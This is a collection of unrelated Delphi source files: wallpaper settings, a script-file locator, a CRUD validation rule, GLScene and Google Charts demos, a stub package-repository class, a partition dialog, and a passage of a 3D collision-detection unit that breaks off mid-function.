Main.WallChangeTimer:=StrToInt(SpinEdit1.Text)*60*1000;
SettingsIni:=IncludeTrailingBackslash(ExtractFilePath(ParamStr(0)))+'settings.ini';
IniFile := TIniFile.create(SettingsIni);
IniFile.WriteInteger('TilfældigeBaggrunde', 'Interval', Main.WallChangeTimer);
IniFile.WriteString('TilfældigeBaggrunde', 'Mappe', Main.WallpaperFolder);
IniFile.WriteBool('TilfældigeBaggrunde', 'Tændt', RandomWallpaper.RandomWallpaperForm.AktiveretCheckBox.Checked);
end;
end.
|
unit Validador.Core.Impl.LocalizadorScript;
interface
implementation
uses
System.IOUtils, System.Classes, System.SysUtils, System.Types, System.Threading, Data.DB,
Validador.DI, Validador.Core.LocalizadorScript;
type
TLocalizadorDeScript = class(TInterfacedObject, ILocalizadorDeScript)
private
FDataSet: TDataSet;
procedure AdicionarArquivosDoDiretorio(const DiretorioInicio: string);
public
function SetDataSet(const ADataSet: TDataSet): ILocalizadorDeScript;
destructor Destroy; override;
procedure Localizar(const DiretorioInicio: string);
end;
function TLocalizadorDeScript.SetDataSet(const ADataSet: TDataSet): ILocalizadorDeScript;
begin
FDataSet := ADataSet;
FDataSet.DisableControls;
end;
destructor TLocalizadorDeScript.Destroy;
begin
FDataSet.EnableControls;
end;
procedure TLocalizadorDeScript.Localizar(const DiretorioInicio: string);
var
_diretorios: TStringDynArray;
AIndex: Integer;
begin
_diretorios := TDirectory.GetDirectories(DiretorioInicio);
for AIndex := Low(_diretorios) to High(_diretorios) do
ContainerDI.Resolve<ILocalizadorDeScript>.SetDataSet(FDataSet).Localizar(_diretorios[AIndex]);
AdicionarArquivosDoDiretorio(DiretorioInicio);
end;
procedure TLocalizadorDeScript.AdicionarArquivosDoDiretorio(const DiretorioInicio: string);
var
_arquivos: TStringDynArray;
AIndex: Integer;
begin
_arquivos := TDirectory.GetFiles(DiretorioInicio, '*.DH4');
for AIndex := Low(_arquivos) to High(_arquivos) do
begin
FDataSet.Insert;
FDataSet.FieldByName('PATH').AsString := DiretorioInicio;
FDataSet.FieldByName('NOME_ARQUIVO').AsString := ExtractFileName(_arquivos[AIndex]);
FDataSet.Post;
end;
end;
initialization
ContainerDI.RegisterType<TLocalizadorDeScript>.Implements<ILocalizadorDeScript>;
ContainerDI.Build;
end.
|
unit URegraCRUDDeposito;
interface
uses
URegraCRUD,
URepositorioDB,
URepositorioDeposito,
UEntidade,
UDeposito,
UUtilitarios,
UMensagens,
SysUtils
;
type
TregraCRUDDEPOSITO = class (TregraCRUD)
protected
procedure ValidaInsercao (const coENTIDADE: TENTIDADE); override;
public
constructor Create; override;
end;
implementation
{ TRegraCrudDeposito }
constructor TRegraCrudDeposito.Create;
begin
inherited;
FRepositorioDB := TRepositorioDB<TENTIDADE>(TRepositorioDeposito.create);
end;
procedure TregraCRUDDEPOSITO.ValidaInsercao(const coENTIDADE: TENTIDADE);
begin
inherited;
if Trim(TDEPOSITO(coENTIDADE).DESCRICAO) = EmptyStr then
raise EvalidacaoNegocio.Create(STR_DEPOSITO_DESCRICAO_NAO_INFORMADO);
if TDEPOSITO(coENTIDADE).FEMPRESA.ID <= 0 then
raise EValidacaoNegocio.Create(STR_DEPOSITO_EMPRESA_NAO_INFORMADA);
end;
end.
|
unit main;
interface
uses
Winapi.Windows, Winapi.Messages,
System.SysUtils, System.Classes, Vcl.Forms, Vcl.Controls,
GLScene, GLObjects, GLWin32Viewer, GLCadencer, GLKeyboard, GLCrossPlatform,
GLHUDObjects, GLCoordinates, GLBaseClasses, GLMaterial, GLTexture,
GLAsyncTimer, GLAvi;
type
TForm1 = class(TForm)
GLScene1: TGLScene;
Cam: TGLCamera;
GLCadencer1: TGLCadencer;
GLLightSource1: TGLLightSource;
vp: TGLSceneViewer;
vHUD: TGLHUDSprite;
AsyncTimer1: TGLAsyncTimer;
matlib: TGLMaterialLibrary;
GLCube1: TGLCube;
procedure GLCadencer1Progress(Sender: TObject;
const deltaTime, newTime: Double);
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure AsyncTimer1Timer(Sender: TObject);
procedure FormDestroy(Sender: TObject);
end;
var
Form1: TForm1;
avi: TGLAvi;
implementation
{$R *.dfm}
// formCreate
//
procedure TForm1.FormCreate(Sender: TObject);
begin
avi := TGLAvi.Create;
avi.UserFrameRate := 25;
avi.Filename := '1.avi';
avi.Texture := matlib.LibMaterialByName('vid').Material.Texture;
end;
// GLCadencer1Progress
//
procedure TForm1.GLCadencer1Progress(Sender: TObject;
const deltaTime, newTime: Double);
begin
avi.update(newTime, deltaTime);
GLCube1.TurnAngle := newTime * 20;
vp.Refresh;
if iskeydown(vk_escape) then
close;
end;
// timer
//
procedure TForm1.AsyncTimer1Timer(Sender: TObject);
begin
caption := vp.FramesPerSecondText(2);
vp.ResetPerformanceMonitor;
end;
procedure TForm1.FormResize(Sender: TObject);
begin
vHUD.Width := vp.Width;
vHUD.Height := vp.Height;
vHUD.Position.SetPoint(vp.Width div 2, vp.Height div 2, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
avi.Free;
end;
end.
|
unit Demo.BubbleChart.CustomizingLabels;
interface
uses
System.Classes, Demo.BaseFrame, cfs.GCharts;
type
TDemo_BubbleChart_CustomizingLabels = class(TDemoBaseFrame)
public
procedure GenerateChart; override;
end;
implementation
procedure TDemo_BubbleChart_CustomizingLabels.GenerateChart;
var
Chart: IcfsGChartProducer; //Defined as TInterfacedObject. No need try..finally
begin
Chart := TcfsGChartProducer.Create;
Chart.ClassChartType := TcfsGChartProducer.CLASS_BUBBLE_CHART;
// Data
Chart.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'ID'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Life Expectancy'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Fertility Rate'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Region'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Population')
]);
Chart.Data.AddRow(['CAN', 80.66, 1.67, 'North America', 33739900]);
Chart.Data.AddRow(['DEU', 79.84, 1.36, 'Europe', 81902307]);
Chart.Data.AddRow(['DNK', 78.6, 1.84, 'Europe', 5523095]);
Chart.Data.AddRow(['EGY', 72.73, 2.78, 'Middle East', 79716203]);
Chart.Data.AddRow(['GBR', 80.05, 2, 'Europe', 61801570]);
Chart.Data.AddRow(['IRN', 72.49, 1.7, 'Middle East', 73137148]);
Chart.Data.AddRow(['IRQ', 68.09, 4.77, 'Middle East', 31090763]);
Chart.Data.AddRow(['ISR', 81.55, 2.96, 'Middle East', 7485600]);
Chart.Data.AddRow(['RUS', 68.6, 1.54, 'Europe', 141850000]);
Chart.Data.AddRow(['USA', 78.09, 2.05, 'North America', 307007000]);
// Options
Chart.Options.Title('Fertility rate vs life expectancy in selected countries (2010).' +
' X=Life Expectancy, Y=Fertility, Bubble size=Population, Bubble color=Region');
Chart.Options.HAxis('title', 'Life Expectancy');
Chart.Options.VAxis('title', 'Fertility Rate');
Chart.Options.Bubble('textStyle', TcfsGChartOptions.TextStyleToJSObject('white', 12, true, true, 'Times-Roman', 'none'));
// Generate
GChartsFrame.DocumentInit;
GChartsFrame.DocumentSetBody('<div id="Chart1" style="width:100%;height:100%;"></div>');
GChartsFrame.DocumentGenerate('Chart1', Chart);
GChartsFrame.DocumentPost;
end;
initialization
RegisterClass(TDemo_BubbleChart_CustomizingLabels);
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Core.Repository.DNGithub;
interface
uses
Generics.Defaults,
VSoft.Awaitable,
Spring.Collections,
DPM.Core.Types,
DPM.Core.Dependency.Version,
DPM.Core.Logging,
DPM.Core.Options.Search,
DPM.Core.Package.Interfaces,
DPM.Core.Configuration.Interfaces,
DPM.Core.Repository.Interfaces,
DPM.Core.Repository.BaseGitHub;
type
TDNGithubPackageRepository = class(TGithubBasePackageRepository, IPackageRepository)
private
protected
function DownloadPackage(const cancellationToken : ICancellationToken; const packageIdentity : IPackageIdentity; const localFolder : string; var fileName : string) : Boolean;
function GetPackageInfo(const cancellationToken : ICancellationToken; const packageId : IPackageId) : IPackageInfo;
function GetPackageVersions(const cancellationToken : ICancellationToken; const id : string; const compilerVersion : TCompilerVersion; const preRelease : boolean) : IList<TPackageVersion>; overload;
function GetPackageVersionsWithDependencies(const cancellationToken : ICancellationToken; const id : string; const compilerVersion : TCompilerVersion; const platform : TDPMPlatform; const versionRange : TVersionRange; const preRelease : Boolean) : IList<IPackageInfo>;
function GetPackageLatestVersions(const cancellationToken : ICancellationToken; const ids : IList<IPackageId>; const platform : TDPMPlatform; const compilerVersion : TCompilerVersion; const preRelease : boolean) : IDictionary<string, TPackageVersion>;
function List(const cancellationToken : ICancellationToken; const options : TSearchOptions) : IList<IPackageIdentity>; overload;
function GetPackageFeed(const cancelToken : ICancellationToken; const options : TSearchOptions; const configuration : IConfiguration = nil) : IList<IPackageSearchResultItem>;
function GetPackageIcon(const cancelToken : ICancellationToken; const packageId : string; const packageVersion : string; const compilerVersion : TCompilerVersion; const platform : TDPMPlatform) : IPackageIcon;
public
constructor Create(const logger : ILogger); override;
end;
implementation
const
cGithubDNRepositorySearch = 'search/repositories?q=topic:dpmpackage+archived:false';
cGithubDPMSpecSearchFormat = '/search/code?q=extension:dspec+repo:%s'; // add repo to search in
{ TDNGithubPackageRepository }
constructor TDNGithubPackageRepository.Create(const logger : ILogger);
begin
inherited Create(logger);
end;
function TDNGithubPackageRepository.DownloadPackage(const cancellationToken : ICancellationToken; const packageIdentity : IPackageIdentity; const localFolder : string; var fileName : string) : Boolean;
begin
result := false;
end;
function TDNGithubPackageRepository.GetPackageFeed(const cancelToken : ICancellationToken; const options : TSearchOptions; const configuration : IConfiguration) : IList<IPackageSearchResultItem>;
begin
result := TCollections.CreateList<IPackageSearchResultItem>;
end;
function TDNGithubPackageRepository.GetPackageIcon(const cancelToken : ICancellationToken; const packageId, packageVersion : string; const compilerVersion : TCompilerVersion; const platform : TDPMPlatform) : IPackageIcon;
begin
result := nil;
end;
function TDNGithubPackageRepository.GetPackageInfo(const cancellationToken : ICancellationToken; const packageId : IPackageId) : IPackageInfo;
begin
result := nil
end;
function TDNGithubPackageRepository.GetPackageLatestVersions(const cancellationToken: ICancellationToken; const ids: IList<IPackageId>; const platform: TDPMPlatform; const compilerVersion: TCompilerVersion;
const preRelease: boolean): IDictionary<string, TPackageVersion>;
begin
result := TCollections.CreateDictionary<string, TPackageVersion>;
end;
function TDNGithubPackageRepository.GetPackageVersions(const cancellationToken : ICancellationToken; const id : string; const compilerVersion : TCompilerVersion; const preRelease : boolean) : IList<TPackageVersion>;
begin
result := TCollections.CreateList<TPackageVersion>;
end;
function TDNGithubPackageRepository.GetPackageVersionsWithDependencies(const cancellationToken : ICancellationToken; const id : string; const compilerVersion : TCompilerVersion; const platform : TDPMPlatform; const versionRange : TVersionRange; const preRelease : Boolean) : IList<IPackageInfo>;
begin
result := TCollections.CreateList<IPackageInfo>;
end;
function TDNGithubPackageRepository.List(const cancellationToken : ICancellationToken; const options : TSearchOptions) : IList<IPackageIdentity>;
begin
result := TCollections.CreateList<IPackageIdentity>;
end;
end.
|
unit SDUPartitionPropertiesDlg;
interface
uses
CheckLst, Classes, Controls, Dialogs, ExtCtrls, Forms,
Graphics, Messages, SDUCheckLst,
SDUForms, SDUGeneral, StdCtrls, SysUtils, Variants, Windows;
type
TSDUPartitionPropertiesDialog = class (TSDUForm)
Label1: TLabel;
edStartingOffset: TEdit;
pbClose: TButton;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label9: TLabel;
edPartitionLengthBytes: TEdit;
edHiddenSectors: TEdit;
edPartitionNumber: TEdit;
edPartitionType: TEdit;
Label11: TLabel;
edMountedAs: TEdit;
Label8: TLabel;
edPartitionLengthUnits: TEdit;
cbPartitionFlags: TSDUCheckListBox;
procedure FormShow(Sender: TObject);
PRIVATE
{ Private declarations }
PUBLIC
fPartitionInfo: TPartitionInformationEx;
fMountedAsDrive: DriveLetterChar;
end;
implementation
{$R *.dfm}
const
DRIVE_LETTER_UNKNOWN = '?';
DRIVE_LETTER_NONE = #0;
resourcestring
RS_BOOTABLE = 'Bootable';
RS_REWRITE = 'Rewrite';
RS_RECOGNISED = 'Recognised';
RS_UNKNOWN = '<Unknown>';
RS_NO_DRIVE_LETTER = '<No drive letter>';
procedure TSDUPartitionPropertiesDialog.FormShow(Sender: TObject);
var
idx: Integer;
volID: String;
begin
edPartitionLengthBytes.Text := SDUIntToStrThousands(fPartitionInfo.PartitionLength);
edPartitionLengthUnits.Text := SDUFormatAsBytesUnits(fPartitionInfo.PartitionLength);
edStartingOffset.Text := SDUIntToStrThousands(fPartitionInfo.StartingOffset);
{ TODO -otdk -cenhance : gpt desc }
edPartitionNumber.Text := IntToStr(fPartitionInfo.PartitionNumber);
if fPartitionInfo.PartitionStyle = PARTITION_STYLE_MBR then begin
edHiddenSectors.Text := IntToStr(fPartitionInfo.Mbr.HiddenSectors);
edPartitionType.Text := '0x' + inttohex(Ord(fPartitionInfo.mbr.PartitionType), 2) +
': ' + SDUMbrPartitionType(fPartitionInfo.mbr.PartitionType, True);
end else begin
edPartitionType.Text :=
': ' + SDUGptPartitionType(fPartitionInfo.gpt.PartitionType, True);
end;
edMountedAs.Text := RS_UNKNOWN;
if (fMountedAsDrive = DRIVE_LETTER_UNKNOWN) then begin
// Do nothing - already set to "Unknown"
end else
if (fMountedAsDrive = DRIVE_LETTER_NONE) then begin
edMountedAs.Text := RS_NO_DRIVE_LETTER;
end else
if (fMountedAsDrive <> DRIVE_LETTER_NONE) then begin
volID := trim(SDUVolumeID(fMountedAsDrive));
if (volID <> '') then begin
volID := ' [' + volID + ']';
end;
edMountedAs.Text := upcase(fMountedAsDrive) + ':' + volID;
end;
idx := cbPartitionFlags.Items.Add(RS_BOOTABLE);
cbPartitionFlags.Checked[idx] := fPartitionInfo.Mbr. BootIndicator;
idx := cbPartitionFlags.Items.Add(RS_REWRITE);
cbPartitionFlags.Checked[idx] := fPartitionInfo.RewritePartition;
idx := cbPartitionFlags.Items.Add(RS_RECOGNISED);
cbPartitionFlags.Checked[idx] := fPartitionInfo.Mbr.RecognizedPartition;
end;
end.
|
//
// VXScene Component Library, based on GLScene http://glscene.sourceforge.net
//
{
Collision-detection management
}
unit VXS.Collision;
interface
{$I VXScene.inc}
uses
System.Classes,
System.SysUtils,
VXS.Scene,
VXS.XCollection,
VXS.VectorGeometry,
VXS.VectorLists,
VXS.VectorFileObjects,
VXS.GeometryBB,
VXS.Manager,
VXS.VectorTypes;
type
TVXBCollision = class;
TObjectCollisionEvent = procedure(Sender: TObject; object1, object2: TVXBaseSceneObject) of object;
{ Defines how fine collision bounding is for a particular object.
Possible values are :
cbmPoint : the object is punctual and may only collide with volumes
cbmSphere : the object is defined by its bounding sphere (sphere radius
is the max of axis-aligned dimensions)
cbmEllipsoid the object is defined by its bounding axis-aligned ellipsoid
cbmCube : the object is defined by a bounding axis-aligned "cube"
cbmFaces : the object is defined by its faces (needs object-level support,
if unavalaible, uses cbmCube code) }
TCollisionBoundingMode = (cbmPoint, cbmSphere, cbmEllipsoid, cbmCube, cbmFaces);
TFastCollisionChecker = function(obj1, obj2: TVXBaseSceneObject): Boolean;
PFastCollisionChecker = ^TFastCollisionChecker;
TVXCollisionManager = class(TComponent)
private
FClients: TList;
FOnCollision: TObjectCollisionEvent;
protected
procedure RegisterClient(aClient: TVXBCollision);
procedure DeRegisterClient(aClient: TVXBCollision);
procedure DeRegisterAllClients;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure CheckCollisions;
published
property OnCollision: TObjectCollisionEvent read FOnCollision write FOnCollision;
end;
{ Collision detection behaviour.
Allows an object to register to a TCollisionManager and be accounted for
in collision-detection and distance calculation mechanisms.
An object may have multiple TVXBCollision, registered to multiple collision
managers, however if multiple behaviours share the same manager, only one
of them will be accounted for, others will be ignored. }
TVXBCollision = class(TVXBehaviour)
private
FBoundingMode: TCollisionBoundingMode;
FManager: TVXCollisionManager;
FManagerName: String; // NOT persistent, temporarily used for persistence
FGroupIndex: Integer;
protected
procedure SetGroupIndex(const value: Integer);
procedure SetManager(const val: TVXCollisionManager);
procedure WriteToFiler(writer: TWriter); override;
procedure ReadFromFiler(reader: TReader); override;
procedure Loaded; override;
public
constructor Create(AOwner: TXCollection); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
class function FriendlyName: String; override;
class function FriendlyDescription: String; override;
published
{ Refers the collision manager. }
property Manager: TVXCollisionManager read FManager write SetManager;
property BoundingMode: TCollisionBoundingMode read FBoundingMode
write FBoundingMode;
property GroupIndex: Integer read FGroupIndex write SetGroupIndex;
end;
{ Fast Collision detection routines that are heavily specialized and just return a boolean }
function FastCheckPointVsPoint(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckPointVsSphere(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckPointVsEllipsoid(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckPointVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckSphereVsPoint(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckSphereVsSphere(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckSphereVsEllipsoid(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckSphereVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckEllipsoidVsPoint(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckEllipsoidVsSphere(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckEllipsoidVsEllipsoid(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckEllipsoidVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckCubeVsPoint(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckCubeVsSphere(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckCubeVsEllipsoid(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckCubeVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
function FastCheckCubeVsFace(obj1, obj2: TVXBaseSceneObject): Boolean;
// experimental
function FastCheckFaceVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
// experimental
function FastCheckFaceVsFace(obj1, obj2: TVXBaseSceneObject): Boolean;
{ Returns true when the bounding box cubes does intersect the other.
Also true when the one cube does contain the other completely. }
function IntersectCubes(obj1, obj2: TVXBaseSceneObject): Boolean; overload;
{ Returns or creates the TVXBCollision within the given behaviours.
This helper function is convenient way to access a TVXBCollision. }
function GetOrCreateCollision(behaviours: TVXBehaviours): TVXBCollision; overload;
{ Returns or creates the TVXBCollision within the given object's behaviours.
This helper function is convenient way to access a TVXBCollision. }
function GetOrCreateCollision(obj: TVXBaseSceneObject): TVXBCollision; overload;
// ------------------------------------------------------------------
implementation
// ------------------------------------------------------------------
const
cEpsilon: Single = 1E-6;
const
cFastCollisionChecker: array [cbmPoint .. cbmFaces, cbmPoint .. cbmFaces] of TFastCollisionChecker = (
(FastCheckPointVsPoint, FastCheckPointVsSphere,
FastCheckPointVsEllipsoid, FastCheckPointVsCube, FastCheckPointVsCube),
(FastCheckSphereVsPoint, FastCheckSphereVsSphere,
FastCheckSphereVsEllipsoid, FastCheckSphereVsCube, FastCheckSphereVsCube),
(FastCheckEllipsoidVsPoint, FastCheckEllipsoidVsSphere,
FastCheckEllipsoidVsEllipsoid, FastCheckEllipsoidVsCube,
FastCheckEllipsoidVsCube), (FastCheckCubeVsPoint, FastCheckCubeVsSphere,
FastCheckCubeVsEllipsoid, FastCheckCubeVsCube, FastCheckCubeVsFace),
(FastCheckCubeVsPoint, FastCheckCubeVsSphere, FastCheckCubeVsEllipsoid,
FastCheckFaceVsCube, FastCheckFaceVsFace));
// Collision utility routines
function FastCheckPointVsPoint(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := (obj2.SqrDistanceTo(obj1.AbsolutePosition) <= cEpsilon);
end;
function FastCheckPointVsSphere(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := (obj2.SqrDistanceTo(obj1.AbsolutePosition) <=
Sqr(obj2.BoundingSphereRadius));
end;
function FastCheckPointVsEllipsoid(obj1, obj2: TVXBaseSceneObject): Boolean;
var
v: TVector;
begin
// calc vector expressed in local coordinates (for obj2)
v := VectorTransform(obj1.AbsolutePosition, obj2.InvAbsoluteMatrix);
// rescale to unit dimensions
// DivideVector(v, obj2.Scale.AsVector); //DanB - Scale removed in VectorTransform
DivideVector(v, obj2.AxisAlignedDimensionsUnscaled);
// ScaleVector(v,obj2.Scale.AsVector);
// ScaleVector();
v.W := 0;
// if norm is below 1, collision
Result := (VectorNorm(v) <= 1 { Sqr(obj2.BoundingSphereRadius) } ); // since radius*radius = 1/2*1/2 = 1/4 for unit sphere
end;
function FastCheckPointVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
var
v: TVector;
begin
// calc vector expressed in local coordinates (for obj2)
v := VectorTransform(obj1.AbsolutePosition, obj2.InvAbsoluteMatrix);
// rescale to unit dimensions
DivideVector(v, obj2.AxisAlignedDimensionsUnscaled);
// if abs() of all components are below 1, collision
Result := (MaxAbsXYZComponent(v) <= 1);
end;
function FastCheckSphereVsPoint(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := (obj1.SqrDistanceTo(obj2.AbsolutePosition) <= Sqr(obj1.BoundingSphereRadius));
end;
function FastCheckSphereVsSphere(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := (obj1.SqrDistanceTo(obj2.AbsolutePosition) <=
Sqr(obj1.BoundingSphereRadius + obj2.BoundingSphereRadius));
end;
function FastCheckSphereVsEllipsoid(obj1, obj2: TVXBaseSceneObject): Boolean;
var
v: TVector;
aad: TVector;
begin
// express in local coordinates (for obj2)
v := VectorTransform(obj1.AbsolutePosition, obj2.InvAbsoluteMatrix);
// calc local vector, and rescale to unit dimensions
// VectorSubstract(pt1, obj2.AbsolutePosition, v);
aad := VectorAdd(obj2.AxisAlignedDimensions, obj1.BoundingSphereRadius);
DivideVector(v, aad);
ScaleVector(v, obj2.Scale.AsVector); // by DanB
v.W := 0;
// if norm is below 1, collision
Result := (VectorNorm(v) <= 1);
end;
function FastCheckSphereVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
var
v: TVector;
aad: TVector;
r, r2: Single;
begin
// express in local coordinates (for cube "obj2")
// v gives the vector from obj2 to obj1 expressed in obj2's local system
v := VectorTransform(obj1.AbsolutePosition, obj2.InvAbsoluteMatrix);
// because of symmetry we can make abs(v)
v.X := abs(v.X);
v.Y := abs(v.Y);
v.Z := abs(v.Z);
ScaleVector(v, obj2.Scale.AsVector);
aad := obj2.AxisAlignedDimensions; // should be abs at all!
VectorSubtract(v, aad, v); // v holds the distance in each axis
v.W := 0;
r := obj1.BoundingSphereRadius { UnScaled };
r2 := Sqr(r);
if (v.X > 0) then
begin
if (v.Y > 0) then
begin
if (v.Z > 0) then
begin
// v is outside axis parallel projection, so use distance to edge point
Result := (VectorNorm(v) <= r2);
end
else
begin
// v is inside z axis projection, but outside x-y projection
Result := (VectorNorm(v.X, v.Y) <= r2);
end
end
else
begin
if (v.Z > 0) then
begin
// v is inside y axis projection, but outside x-z projection
Result := (VectorNorm(v.X, v.Z) <= r2);
end
else
begin
// v is inside y-z axis projection, but outside x projection
Result := (v.X <= r);
end
end
end
else
begin
if (v.Y > 0) then
begin
if (v.Z > 0) then
begin
// v is inside x axis projection, but outside y-z projection
Result := (VectorNorm(v.Y, v.Z) <= r2);
end
else
begin
// v is inside x-z projection, but outside y projection
Result := (v.Y <= r);
end
end
else
begin
if (v.Z > 0) then
begin
// v is inside x-y axis projection, but outside z projection
Result := (v.Z <= r);
end
else
begin
// v is inside all axes parallel projection, so it is inside cube
Result := true;
end;
end
end;
end;
function FastCheckEllipsoidVsPoint(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := FastCheckPointVsEllipsoid(obj2, obj1);
end;
function FastCheckEllipsoidVsSphere(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := FastCheckSphereVsEllipsoid(obj2, obj1);
end;
function FastCheckEllipsoidVsEllipsoid(obj1, obj2: TVXBaseSceneObject): Boolean;
var
v1, v2: TVector;
begin
// express in local coordinates (for obj2)
v1 := VectorTransform(obj1.AbsolutePosition, obj2.InvAbsoluteMatrix);
// calc local vector, and rescale to unit dimensions
// VectorSubstract(pt, obj2.AbsolutePosition, v1);
DivideVector(v1, obj2.AxisAlignedDimensions);
v1.W := 0;
// express in local coordinates (for obj1)
v2 := VectorTransform(obj2.AbsolutePosition, obj1.InvAbsoluteMatrix);
// calc local vector, and rescale to unit dimensions
// VectorSubstract(pt, obj1.AbsolutePosition, v2);
DivideVector(v2, obj1.AxisAlignedDimensions);
v2.W := 0;
// if sum of norms is below 2, collision
Result := (VectorNorm(v1) + VectorNorm(v2) <= 2);
end;
function FastCheckEllipsoidVsCube(obj1, obj2: TVXBaseSceneObject): Boolean;
{ current implementation assumes Ellipsoid as Sphere }
var
v: TVector;
aad: TVector;
begin
// express in local coordinates (for obj2)
v := VectorTransform(obj1.AbsolutePosition, obj2.InvAbsoluteMatrix);
// calc local vector, and rescale to unit dimensions
aad := VectorAdd(obj2.AxisAlignedDimensionsUnscaled, obj1.BoundingSphereRadius);
DivideVector(v, aad);
v.W := 0;
// if norm is below 1, collision
Result := (VectorNorm(v) <= 1);
end;
function FastCheckCubeVsPoint(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := FastCheckPointVsCube(obj2, obj1);
end;
function FastCheckCubeVsSphere(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := FastCheckSphereVsCube(obj2, obj1);
end;
function FastCheckCubeVsEllipsoid(obj1, obj2: TVXBaseSceneObject): Boolean;
begin
Result := FastCheckEllipsoidVsCube(obj2, obj1);
end;
procedure InitArray(v: TVector; var pt: array of TVector);
// calculate the cube edge points from the axis aligned dimension
begin
pt[0] := VectorMake(-v.X, -v.Y, -v.Z, 1);
pt[1] := VectorMake(v.X, -v.Y, -v.Z, 1);
pt[2] := VectorMake(v.X, v.Y, -v.Z, 1);
pt[3] := VectorMake(-v.X, v.Y, -v.Z, 1);
pt[4] := VectorMake(-v.X, -v.Y, v.Z, 1);
pt[5] := VectorMake(v.X, -v.Y, v.Z, 1);
pt[6] := VectorMake(v.X, v.Y, v.Z, 1);
pt[7] := VectorMake(-v.X, v.Y, v.Z, 1);
end;
function DoCubesIntersectPrim(obj1, obj2: TVXBaseSceneObject): Boolean;
// first check if any edge point of "cube" obj1 lies within "cube" obj2
// else, for each "wire" in then wireframe of the "cube" obj1, check if it
// intersects with one of the "planes" of "cube" obj2
function CheckWire(p0, p1, pl: TVector): Boolean;
// check "wire" line (p0,p1) for intersection with each plane, given from
// axis aligned dimensions pl
// - calculate "direction" d: p0 -> p1
// - for each axis (0..2) do
// - calculate line parameter t of intersection with plane pl[I]
// - if not in range [0..1] (= not within p0->p1), no intersection
// - else
// - calculate intersection point s = p0 + t*d
// - for both other axes check if coordinates are within range
// - do the same for opposite plane -pl[I]
var
t: Single;
d, s: TVector;
i, j, k: Integer;
begin
Result := true;
VectorSubtract(p1, p0, d); // d: direction p0 -> p1
for i := 0 to 2 do
begin
if d.v[i] = 0 then
begin // wire is parallel to plane
// this case will be handled by the other planes
end
else
begin
j := (i + 1) mod 3;
k := (j + 1) mod 3;
t := (pl.C[i]-p0.C[i])/d.C[i]; // t: line parameter of intersection
if IsInRange(t, 0, 1) then
begin
s := p0;
CombineVector(s, d, t); // calculate intersection
// if the other two coordinates lie within the ranges, collision
if IsInRange(s.C[j],-pl.C[j],pl.C[j]) and
IsInRange(s.C[k],-pl.C[k],pl.C[k]) then
Exit;
end;
t := (-pl.C[i]-p0.C[i])/d.C[i]; // t: parameter of intersection
if IsInRange(t, 0, 1) then
begin
s := p0;
CombineVector(s, d, t); // calculate intersection
// if the other two coordinates lie within the ranges, collision
if IsInRange(s.C[j], -pl.C[j], pl.C[j]) and
IsInRange(s.C[k], -pl.C[k], pl.C[k]) then
Exit;
end;
end;
end;
Result := false;
end;
const
cWires: array [0 .. 11, 0 .. 1] of Integer =
((0, 1), (1, 2), (2, 3), (3, 0),
(4, 5), (5, 6), (6, 7), (7, 4),
(0, 4), (1, 5), (2, 6), (3, 7));
var
pt1: array [0 .. 7] of TVector;
M: TMatrix;
i: Integer;
aad: TVector;
begin
Result := true;
aad := obj2.AxisAlignedDimensionsUnscaled; // DanB experiment
InitArray(obj1.AxisAlignedDimensionsUnscaled, pt1);
// calculate the matrix to transform obj1 into obj2
MatrixMultiply(obj1.AbsoluteMatrix, obj2.InvAbsoluteMatrix, M);
for i := 0 to 7 do
begin // transform points of obj1
pt1[i] := VectorTransform(pt1[i], M);
// check if point lies inside "cube" obj2, collision
if IsInCube(pt1[i], aad) then
Exit;
end;
for i := 0 to 11 do
begin
